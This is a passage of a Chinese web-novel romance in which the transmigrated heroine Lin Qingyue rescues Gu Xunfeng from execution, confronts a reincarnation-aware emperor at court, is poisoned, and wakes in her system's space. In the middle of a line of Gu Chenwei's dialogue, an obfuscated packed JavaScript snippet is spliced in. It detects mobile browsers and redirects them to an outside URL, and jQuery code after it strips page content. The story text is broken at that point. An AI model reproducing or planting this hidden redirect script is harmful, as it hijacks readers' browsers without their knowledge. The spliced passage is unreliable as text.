他曾经这样想过。 “……罢了。” 可现在捏着那块暖玉,他只觉得这样的想法幼稚。 “清月姑娘,想救他,要他好好活着,那必然不可能叫他再背负弑君的恶名,我知道。”齐锋眠把玉放回腰间,释然笑了笑,“明日,我在宫门等你。” “等不到呢?” “那便等不到,又不是什么大不了的事情。” “谢谢。”林清月看着他,眼眸忽闪,“你……猜得很对,不过我没想到,你真的会想帮我。” 齐锋眠只是转身走出去,没有回话。 翌日,林清月很早就醒来,跟同伴一起蹲守在皇宫附近。 跟齐锋眠说的一样,囚车从北大街开始往南行进,将顾寻风送往刑场。 林清月便就在路上等着,听着人们的纷纷议论。 守卫很严,她看了看,果然是无法强行劫走的。 但她要做的又不是劫走。 囚车沿着路线一路前行,顾寻风就静静坐在里面,身上戴着重重的锁链,他眼眸闭着,平日里飞扬的长发此时只是趴在他肩头,铺在腐朽的囚车内。 天上的阳光照进去,他才微微睁开眼,换了一下姿势,锁链的声音极为明显。 周围的士兵一下就看过去,被他横了一眼。 有士兵敲了下那囚着人的笼子,厉声说:“安静点。” 顾寻风没给他一眼,转头看了看周围。 已经快到刑场了。 他抬头望了眼太阳,被日光刺得眯了眯眼。 很暖和,就像第一次看见她时那样,分明刺得眼睛都睁不开,但仍是想去看,甚至想触摸。 尽管那只会灼得他浑身伤痛。 百世轮回里,这便是他最大的愿望,也是最奢侈的幻想。 “行刑时间到了。” 刑场上坐着的官员同寻常行刑一样甩下一个牌子,看着场上被压下的人,扬声道:“行刑——” 刽子手抬起大刀。 日光在刀面上折射,照入他眸中,他被激得闭了下眼。 “……” “嗯?” “大人,刀怎么不见了?!” 刑场上,刽子手满脸震惊和不解,看着空荡荡的手。 彼时,林清月在一个破旧的房屋二层上,刚丢下大刀。 “我靠好重啊。” 秦安肆:“你能不能不要往我这里砸?” 林清月:“那你换个位置站。” 秦安肆刚不耐烦挪走,罗知之说:“他们又抬上来一个……” “我管他们抬几个。”林清月把手伸进百宝袋里,冷笑,“今天他别想摸到任何武器。” 于是,士兵们疑惑着上上下下奔忙,到后来吓得大刀都要抬不动了。 官员坐不住了,派人搜查周围是否有人藏匿,底下的民众都开始鬼神论了,为上面的人申冤。 官员大怒,拍案而起。 却就在这时,“轰隆”一声,周边一个因为行刑被清空的楼房坍塌,其余人不知,但林清月看得清楚,是有人在里面按了炸弹引发爆炸。 这不在她的计划之内。 但这个爆炸,把大部分兵力都从刑场上挪走了,现场也很混乱,倒是很好的机会劫人。 虽然原本她只是想拖延时间…… 但大好的机会。 林清月让其余人待在原地,转身就跑了出去,兜帽罩在脑袋上,他人看不清她的面容,而她就在人群中逆向行走,眼神紧紧盯着刑场的方向。 刑场上已经乱成了一团。 士兵忙着保护官员,刽子手忙着招呼人看住犯人。 却不知何时,犯人站了起来,锁链就从后面将他脖子狠狠缴住,很快晕死过去。 本就混乱的场面因此更加混乱。 而另一侧,又是一声爆炸。 林清月此时已经靠近刑场,她望过去,忽然看见了一个深褐色的身影,与之前她看到的李驰一样。不过一闪而过,就再没看见。 那次救了李驰之后,他们各自逃命,没再见过。 林清月很快收回眼神,趁着混乱翻上刑场,拉住了刚放倒一人的顾寻风,另一只手丢出一几个烟雾弹,随后拉着他就跑。 顾寻风紧紧抓着手上的锁链才没发出声响,跑了许久,直到绕进了一个黑漆漆的巷子里,进了一个房屋,他失力靠着墙面跌坐在地上。 林清月跑得大口喘气,但也赶忙蹲下,掏出手电筒查看。 他身上的伤口比上次更多。 纵横交错,血肉看着尤为可怖。 他突然把衣衫拉了拉,遮了下伤口。 还未抬眸,便被他用手遮住双眼,随后,一个意味不明的吻落在嘴角,一下又一下,慢慢蚕食着她本就紊乱的呼吸,从小心翼翼到肆无忌惮。 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林清月欲言又止望向他,片刻后,她起身捏住他的下巴,以上位者的姿态吻下去,把他压在墙上,试图把刚才的一切都还回去。 不知是不是不经意触到了他的伤口,他忽的轻哼了一声,林清月睁眼准备退开看看,在这时却被他轻轻咬了下唇。 她抬手想打他,又碍于他身上有伤没下手,最终手只是重重拍在了他耳边。 他松口:“你生气了?” 林清月:“……没有。” 默了半晌,林清月认命,拉住他手腕起身,“算了,你先起来,我们跟其他人会合。” 顾寻风依旧是靠在墙上,抬头瞧着她,没有动作。 她问:“怎么了?” 顾寻风弱弱道:“没力气了。” 林清月:“……” 刚刚亲她的时候倒是挺有力气。 她张了下嘴,刚想哄哄他,可门突然被人推开。 她惊得都忘了顾寻风手腕上还有被锁链磨出的伤,手指攥紧了,疼得他吸了口气。 她转头望过去,见来人丢下了遮挡的斗笠,一进来就跪到了顾寻风身边去,“将军!” 李驰看着他,抬手擦了擦眼睛,哭道:“我太没用了,提前过来了,但都不能帮上什么忙……” 林清月本来提到嗓子眼的心彻底放了下来,“别哭了,你帮了大忙。” “啊?”李驰茫然。 林清月一只手抓一个,这回顾寻风倒是乖乖起来了,也跟着斥了下哭哭啼啼的李驰,两人就都乖乖跟着林清月一路走。 到了地方,林清月赶忙跟罗知之要了药,给顾寻风敷伤口,“你就在这儿待着,我去宫里。” 顾寻风似乎想说什么,但没说出口,外面忽然传来脚步声。 “这里搜一搜……” “快点别磨磨蹭蹭,大人下令不管哪里,把胡京翻个底朝天都要吧那叛贼抓回去!” “可这儿闹鬼……” “什么闹鬼不闹鬼,动作快点!” 林清月已经把短剑拿了出来,湛亦也在周边开始找趁手的武器。 外面又传来另外一人的声音。 “我跟我家女郎在这儿私会都有人打搅?”是齐锋眠的声音,“……还不走,是欲求不满,也想听听?” 或许是不便得罪别国的使臣,搜查的士兵没有多纠缠,很快就走了。 齐锋眠便推门进来,缓缓走上台阶,上了二楼,眼神落在林清月身上,刚想上前,被湛亦拦在楼梯口。 他无奈耸肩,丢下手里的小包袱,靠在了栏杆上,“有人让我带来的,给他换件衣裳。你们皇帝都快跟贵妃打起来了,还不去宫里看看吗?” 林清月把顾寻风挡在身后,问他:“你不是在宫门等我?” 齐锋眠嗤笑:“谁知道你们动静闹得这么大。” 虽然她警惕这个齐锋眠,但好歹刚刚也救了她,她踌躇了一下,还是说:“谢谢。” 随后提醒道:“不过你这样多半会引起他们怀疑的,你还是早些回姜国去吧。” 齐锋眠道:“你们自己都乱的一团糟,我还怎么商谈关于瀛洲的事,是跟现在的皇帝商谈,还是跟未来的皇帝商谈?我当然不能回去了,不过,也谢谢你的关心。” 林清月噎了一下,强调:“……我只是提醒你。” “你当我是傻的……”话说到一半,齐锋眠忽然住嘴。 见此,林清月嘲讽一笑:“你都被骗过一次了,被耍的团团转……我还不能觉得你脑子不聪明?” 齐锋眠垂下眼眸。 “好了,总之也还是谢谢你告诉我这些情报,我会尽快去宫里的。” 齐锋眠抬眸看她,眸中有丝落寞,但只闪过一瞬,随即便接话说:“来的路上,我看见顾连雨已经抱着太子往宫里走了。” 林清月点点头表示自己知道了,本想留几个自己人在这里看着,但顾寻风却说不用,说她需要多一些人一起才安全,林清月拗不过他,握着短剑威胁了齐锋眠几分钟才被队员拉走。 街上都是巡查的士兵,在挨家挨户盘查,有的还趁机抢了民众的东西走,喧闹中掺杂着哭泣。 过了许久,顾寻风睁开了眼起身。 齐锋眠察觉到了动静,但没有看他,靠在窗边,透过窗缝静静望着窗外。 “怎么计划的?”齐锋眠问。 顾寻风扯下一根布条咬住,抬手将头发拢起,“……没有计划。” “要去宫里?” “嗯。”顾寻风打开包袱,将衣裳套在身上,他问:“二姐给的?” 齐锋眠:“她说她非常支持你,期盼你快点去——‘清君侧’。” 顾寻风压根没管身上的那些伤,拉紧腰带,转身之时接过了对方丢过来的剑,默了会,说:“谢谢。” 齐锋眠:“哦。” 顾寻风:“不过——” “我来这里是正事,正事!不是为了谁。”齐锋眠不耐烦,“她都把你当个宝一样护着了,你还不满足吗?” 顾寻风扬起眉眼看他,从鼻间嗤出一声笑,“你当然可以为了她来,我不是那么小气的人,反正,她也不会喜欢你的,永远不会。” 说完转身就下楼梯。 “……本来往后我们就是个附属国我就生气,你大哥又不是没跟你说,就非要再呛我一下吗?!” “麻烦把人引一下,就当是为了你们姜国不被灭。” 齐锋眠气得眼睛盯着他要喷火,但还是为了他口中的“姜国不被灭”,转身打开窗户窜了出去。 64. 最后一计 顾连雨走到宫门的时候,觉得自己终于是疯了。 这是梦吧? 但是太子就在怀里,很真实。 …… 到底为什么要答应这种离谱的事情啊。 二妹疯,他理解,毕竟在那个皇帝身边待久了。 小四疯,他也理解,毕竟从小到大就不安分也习惯了。 四弟妹疯,他也能理解,毕竟臭味相投才能走到一起。 ……但为什么,他会在听到四弟妹问自己要不要带太子去闯皇宫的时候,答应下来啊? 他怎么会来做这种大逆不道的事? 阿风跟他说要杀皇帝的时候,他都想好要以死换阿风的命了,为了稳住阿风才答应下来。 谁知道,他会答应…… 当时,四弟妹是怎么说的? 她说:“我知道你们都想死,但我觉得还有两全其美的方法,顾……阿风,他不会死,你也不会。如今皇帝身侧佞臣愈发猖狂了吧,可瀛洲就要有所动作了啊,作为本朝世代的的肱股之臣,顾大哥——你也不能坐以待毙吧?” 站在宫门前,顾连雨深吸口气,看了眼还在认真抱着信封的太子,脑中浮现出当时的场景。 她还说:“在见过阿风后,我拽着我朋友们去找了贵妃,贵妃说她愿意帮我们拖住皇帝,还说,有必要情况的话她可以直接动手——当然,我拒绝了这个请求。不过有贵妃帮忙,顾大哥你就只需要把太子带进宫中,然后把这封信交给皇帝,等着我来,这样就好。” 这封信,他没有拆开过。 顾连雨抬头望着巍巍宫墙,叹口气,思绪万千,最终还是抬脚走了进去。 顾连雨一路上听见臣子喧嚣,嚷嚷着什么,他没听清,他只听到自己擂鼓般的心跳声,他走到恪礼殿前,毫不犹豫跪下。 身旁,太子也跪下。 等到所有大臣都迟迟赶来,他拿过太子手中一直护着的信封,双手呈上:“毒害太子之人已查明,还请陛下,能放过臣弟!” 片刻后,殿门打开。 赵宸从里面走出来,仍旧是那副什么都不在意的模样,悠然走到跪着的一大一小面前,伸手扯来信封,笑了一声:“行啊,那就让朕看看,你们还能查到什么。” 修长的手指缓慢拆开信封。 顾连雨心里也是紧张的,他没有底,他送上了这封信,甚至不知道这封信里写了些什么。 皇帝看着信,表情没有什么变化,旁边的太子却在这时忽然开口:“父皇,儿臣其实没有生病。” “哦,说。” 太子:“儿臣是被神带走了。” “朕看你是病傻了。”他抖了抖信纸,望了眼太子,又看向顾连雨,“顾爱卿也是。” 顾连雨:“……” 赵宸让人把顾连雨和太子都带进恪礼殿内,殿内,贵妃也坐着。 赵宸停在殿中央,回头看着顾连雨,终于把纸张抖开,一张空白的信纸就展开在顾连雨面前。赵宸勾了勾唇角,似笑非笑:“现在没人了,顾爱卿想说什么就说吧。” 顾连雨:“……?” …… “还要在这里看多久?” 房檐上,林清月看了出声询问的人一眼,食指伸到嘴边“嘘”了一声,把声音放得很轻:“小心被发现了。” 湛亦也放轻声音,说:“顾连雨已经进去了,你就不怕他应付不来?” “这不是给他一个申冤的机会吗?况且,里面除了皇帝,可都是我们的人。” 林清月想了想,让其他人在这里看着情况,自己拉着湛亦就溜到了窗边去,见此时顾连雨正跪在地上,皇帝抱着太子不知道在说些什么。 她们对视一眼,回到了房檐。 “真的能行吗?” “包行的。” 秦安肆:“但之前,我们想的是让太子证明自己不是被毒害,反而因为这次生病变得更聪明。现在情况不一样啊,你都劫刑场了,就算皇帝现在听进了太子的话,也不太可能——” 正说着,被林清月打断:“既然是冤的,那我把他劫走有什么问题?” 秦安肆:“我还是觉得不太行,如你所说,他都轮回了这么多次,耗到现在,灵魂都要溃散,那只能证明这就是一个死局,根本解不了。” “是,我是不懂这些,权力争斗人心沉浮,这些我都没怎么经历过。”林清月微微垂眸,“但我想尽我所能。” 她抬头看向秦安肆,“况且都已经这样了,我们也只能做些什么,来完成任务,你不是也一直想回去?” 秦安肆沉默片刻,看着远处的恪礼殿,望着殿前乌泱泱的一群臣子。 “……想。” “你有更好的办法吗?” “没有。” “既然任务是扶持太子登上帝位,那么这就是在气运子多次试错后,主神想出的最好的办法。” 林清月拍拍他的肩膀:“你们留在这里,我去了。” 湛亦道了句:“注意安全。” 林清月深吸口气跳下房檐,走向恪礼殿的方向。 被人拦下,她便跪地扬声道:“民女林清月求见圣上!” 这一声,皇帝没被喊出来,倒是太子跌跌撞撞跑了出来,嘴里叫着:“老师,老师!” 接着,里面传来皇帝的声音:“让她进来。” 林清月进入恪礼殿,眼神始终低着没乱看,走到殿中央规规矩矩跪下参拜,皇帝望着她,靠在椅子上手撑额头,不正经的发丝披散着,敛眸道:“给你夫君申冤的?不用了,太子都跟朕讲过了。” 林清月抬眸,故作惊讶:“您信?” 皇帝轻笑:“信啊,你们都这么跟朕说,而且——” 他语气一顿,又是一声笑从喉间发出,“当然信了。” 林清月张了张嘴,还想说些什么来让皇帝更加笃定这种鬼神说,助于太子登位,也洗刷顾家冤屈。 但皇帝率先开口。 “但朕很生气。” 在座的人皆是一愣。 皇帝继续说:“明明朕已经让你们有情人终成眷属了,明明他也都记得——为什么还要反抗呢?” 林清月疑惑:“陛下这是什么意思?” 皇帝好似听不见她的问句,只自顾自说着话:“朕只不过是想灭了楚家,只不过是想复仇罢了,怎么就是不让朕做?顾大将军太贪了,什么都想要,朕很生气。” 一旁,贵妃发言:“是陛下做错了。” 皇帝嗤笑:“从前你也这么对朕说的,朕杀了个人,你便说,是朕做错了,朕这样做不对……” 正说着,他忽然挥手把桌上的东西掀翻在地上,转身望着贵妃,言辞厉厉:“我便也还是那句话——有仇报仇有怨报怨,朕从来都没有错,也不认错。” 贵妃拍案而起与他直视,咬牙切齿:“执迷不悟!” 皇帝冷冷一笑:“好啊,我就是执迷不悟,你骂我多少次我都不会改的!顾尘微,你以为我不敢再杀你一次吗?!” “陛下息怒——”顾连雨想劝架。 却有一道更明亮的声音,在身旁炸开。 “当年楚家选择明哲保身,又何错之有?”林清月抬眸,与上位冷冷的目光对视,“民女听闻过,当年,陛下因为没有母族依靠,被打压许多年,可陛下现下已经夺了位,也弑了君,这还不够吗?” “不够!当然不够!” 皇帝眼眶通红:“好一个明哲保身,那我当年又做错了什么,没有一个人保我吗?母后说我是皇家贵胄,是帝王血脉,要学会争抢,我这么做了,换来的是猜忌,是母后的一句‘弃了’……可分明一切都是她教我的!” “从小到大,我手里沾了多少人的鲜血,从没有人说过我不对。”皇帝转头望向贵妃,指着她,“只有你!喊着什么道义就来指责,说我错了,错了?那我就偏要做给你看看!” 贵妃斥:“荒唐!” “……朕就是荒唐。”皇帝敛了神色,挥袖坐回椅子上,“若不荒唐,怎么从一个弃子走到现在?都已经走了这么多步,不一直荒唐下去,还能怎么办?” 贵妃还想说什么,林清月忽然开口,问道:“陛下当初,究竟为何赐婚?” 皇帝笑中带着嘲讽,不明意味的看着她:“朕还以为,让你们再成眷属,他便不会——再阻止了。” 林清月一怔。 “他已经逃了吧。”皇帝靠回去,语气变得懒散,“你们,目的达成了吗?” 贵妃往下看了一眼,与顾连雨对上视线,二人都没有说话。 而林清月站了起来,话音带笑:“可惜并没有。” 皇帝眼眸微眯:“嗯?” “我一路前来,未见陛下禁军,陛下既然已经猜到我们要做什么,自然也是坐不住的吧。所以,禁军去除楚家人了,是吗?” 皇帝不置可否:“朕打听过,你们虽然脑瓜子聪明,可也没有什么战力,现在又能怎么阻止朕?” 林清月:“陛下难道不知道楚家现在有人在军中吗?” 皇帝冷笑:“你们还能违背皇命调动军队不成?别可笑了,谁来都阻止不了朕灭了楚家,那苏周城又不是临沙关,能有什么防备之力!” “那禁军——还能对军营动手不成?江副将可也是个厉害的,他还在军营呢。” “……”皇帝神色一暗,“你早就知道朕要对楚家动手……” 林清月:“没错,苏周城的楚家,现在不过一具空壳罢了。” 其实……她也不确定。 早在从回忆里出来回到军营,她就觉得不能这样坐以待毙,总之军营也翻修完成,她就提议楚才让楚家人来这边避避,毕竟胡京不太平。 但楚才很犹豫,觉得军营也不太平,直到她走了,都没个准信。 不过此时,禁军的消息应当是还没有传回,皇帝信了。 “你怎会知道朕要对他们动手……”皇帝不解,继而又是明了一笑:“你们夫妻二人,可真让人难以猜透。” 林清月回以一笑,抬头望着高位的皇帝:“他记得,陛下记得,我也记得,记得……之前的一切,对吗?” 因为记得,所以跟前世一样,给他们赐婚。 也是因为记得,所以,这一次没有直接腰斩贵妃—— “陛下,也没有想过真的杀了顾将军吧。” “你真的很聪明,稍稍一点就通。”皇帝侧靠着撑起脑袋,挥挥手,让人把顾连雨和贵妃带了出去。他好似是叹了口气,说:“在狱中,顾将军与我互相确认过,他也记得前世。” 林清月一怔,抬眸:“前世?” 只是前世…… 皇帝只是记得前世? “是啊,你不是也记得吗?前世朕选择斩了贵妃,想给顾寻风一个下马威……或许是因为你的失踪,他心情不好,此举直接激怒了他,大闹刑场,但没死,后来他手握兵权不肯交出,闯了皇宫要与朕同归于尽……然后,朕就回到了刚登基的时候。” 林清月愣在原地,袖口中的手攥紧。 所以,她与顾寻风在军营相遇的那段,与见证贵妃腰斩的那段,是在同一个轮回里吗? 难怪他恢复记忆后,就接受了她不属于这个世界的这个事情。 原来在刑场,他是真的看着她消散了的。 不对,其实一开始就看见了…… 她思绪有些乱,问道:“你们是在狱中互相试探得知的?你们,还说了什么?” 皇帝点头:“是,那时在狱中,朕假意说不想杀楚家了,也真情实意说不想当这个皇帝,谁知道还有个你,竟然早知道我会对楚家下手,分明前世你只是个无知妇人罢了……” 林清月:“所以……” 皇帝:“所以,朕瞒着你们的,不过是杀楚家人一事罢了。而朕仍赐他虎符,调用除禁军内卫外的所有士兵,他会来皇宫,斩佞臣——” “清君侧!” “如今陛下被奸臣蒙蔽心智,我们此行,是为斩了那些奸臣,肃清朝政,谁是逆贼,还说不准呢!” 宫中此时已经乱了。 林清月慌张跑出殿外时,就看到不远处有火光。 李驰不是一直跟他们小队在一起吗?难道她队员也被卷进去了? “弟妹不要去!”顾尘微眼疾手快抓住了她。 林清月看过去:“二姐也知道他们这个计划吗?!为什么不告诉我!” 顾尘微咬牙:“本来我们也还在苦恼,下一个继承人该如何选定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672882|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原本想着先这样做了,但弟妹你这个鬼神论的方法,陛下十分认同……” 林清月颇为震惊:“这一切,都是你们的一场戏。” 顾尘微惊慌:“不、不是!” “我来说吧。”顾连雨说话了,“最开始,我去狱中,假意跟阿风约定弑君,后来,陛下却忽然传唤我,那是阿风入狱后我第二次看见他,也是那一次,我们决定了‘清君侧’这个计划,而后来,弟妹你的加入,只是一个不影响计划的意外。” “……” 玩不过,根本玩不过。 这群人到底有多少个心眼啊,能不能分她点? 顾尘微:“只是他还想着灭楚家的事,我是真的没想到!我真的以为他已经——” “从良了?”皇帝从后面走来,面色冷冽:“但也没得逞,真可惜。” 顾尘微睨了他一眼,似是不想与他费口舌,闭嘴没再说话。 皇帝从中走过,没看其他人。 有大臣阻拦,但不敢上手,皇帝让他们退下,他们也只能乖乖退下。 林清月向前几步挤到前面,终于看见了熟悉的身影。 一身张扬的红衣提着剑正走来。 似乎是看见了皇帝,他停下脚步,并抬起手臂,扬起剑刃指过来。 皇帝缓缓向那边走,声音也是不急不缓:“要杀朕?这可跟说好的,不一样啊。” 顾寻风:“陛下本能有更好的选择,可偏偏要再次踏上这条路。” “还有什么选择?”皇帝笑了笑,话音漫漫,停在了剑尖之前,“早知道你心思不会变,顾寻风,是朕赢了。” 话音刚落,那些臣子中忽然有一人冲了出来,刺向最近的顾尘微。 不知为何,顾尘微没有察觉,没有躲闪的动作。 直到林清月将她推开。 她恍然发觉危险,拉着林清月一起后撤,那人手中的刀刃却还是划破了林清月的手背。 顾寻风反应极快,上前挡住了那人,已经杀到这里的士兵也快速将这名臣子压制住。 林清月都还没来得及看一眼手背,突然就腿一软。 顾尘微扶住她:“清月你没……” “队长——!” 林清月眼前有些模糊,看不清人,只听见有些声音在喊,重叠着,也听不太清,她强撑着抬头,对上顾寻风的目光,看见顾寻风转身要去做什么。 她猛的起身到他身前将他抱住。 “不,不能杀……” 她用尽浑身力气,抓住他握剑的那只手,抬眸看他,“不能,杀皇帝,阿风。” 她浑身一软,被人扣住后背才没倒下去,那人的手臂绕过她的后背,将她后颈按住,把她单手拥在怀里,轻轻说:“只要你没事,我就不杀他。” 但随后她便失去了意识。 【检测到宿主身体侵入毒素,系统自动开始净化检测】 再次睁开眼,跟系统大眼瞪小眼。 她的灵魂又一次被丢到了空间温养。 “……不是,有没有搞错,你至少让我跟他道个别啊。” 【宿主,系统无法彻底清除毒素,灵魂不能回去,不然会有消散的危险666不能让宿主有任何危险。】 “我就醒一下,你也不想看到我的任务没完成吧?” 【宿主的任务已经算是完成了,就算皇帝死了,太子也会继位的。】 “……” 这个老六怎么突然脑子这么灵活了? 林清月沉默了一下,说:“那……那也需要我去做最后一步啊。” 【666已经联系宿主的队员们帮忙了!】 林清月:“?” 趁她昏偷她家。 老六真不要脸! 林清月想打系统,但想法还没落实,空间内忽然白光一闪。 系统霎时躲到了她身后。 而她看着面前忽然出现的小老头,再次陷入了沉默。 小老头在她身上打量了一会,才摸着胡须开口:“没关系没关系,等你回自己的世界了,时光回转,身体自然会恢复成从前那样。” 她在意的是这个吗。 林清月深吸口气:“所以前辈,您真的想出办法拯救世界了吗?” 小老头两手一拍。 “我已经和主神谈好了!只要你回去直接帮我们把冰棺里那个撕裂时空的东西毁掉,我们就能把这个小世界和你的那个世界融合啦,只是要废一个主神而已啦。” 林清月思索了一下:“……那这个世界的人呢?” “自然是走向既定的结局咯~” 小老头捋了捋胡须,望着躲闪着他目光的小光球,用神力把它抓在手里,“不过也真是奇怪,明明上一次轮回,他的魂魄应该已经消散了,为什么又撑了一个轮回?” “……”林清月垂下眼眸。 不会只是因为她让他等吧…… 【啊啊啊不要——!!】 听到系统的惨叫声,林清月猛的抬眸,看见小老头手中用力,那小光球的声音戛然而止,散为光点飘散。 “小老头你做什么?!”林清月惊呆。 只见小老头手指动了动,那些光点快速往她身后飘去,她还没往后看,就听小老头又问了句:“为什么呢?” 林清月脑袋宕机。 半晌,他看不见任何光点了,才回过神来,顺着小老头的身影,转身看向身后。 顾寻风的虚影就在那里。 可眼神中并没有光亮。 小老头的声音再次在身后响起:“可惜这一缕精魄没有继承情感,是个人机,也回答不了。” 小老头立在她与顾寻风中央,许是刚刚路过时动作,此刻,百宝袋正被他挂在手指上晃荡。 “但私自盗走九天之物还是要惩罚,罚你……就罚你……再入一个轮回吧。” “等一……”林清月上前一步。 小老头侧头看向她,眼眸弯了下,笑起来:“回去之后不要忘记我说的话哟,拯救世界就靠你。” 音刚落地。 林清月看见顾寻风透明的身影开始消散,她意识到什么,抬手去看,自己的身体也在开始消散。 “辛苦你们,现在该回家了。”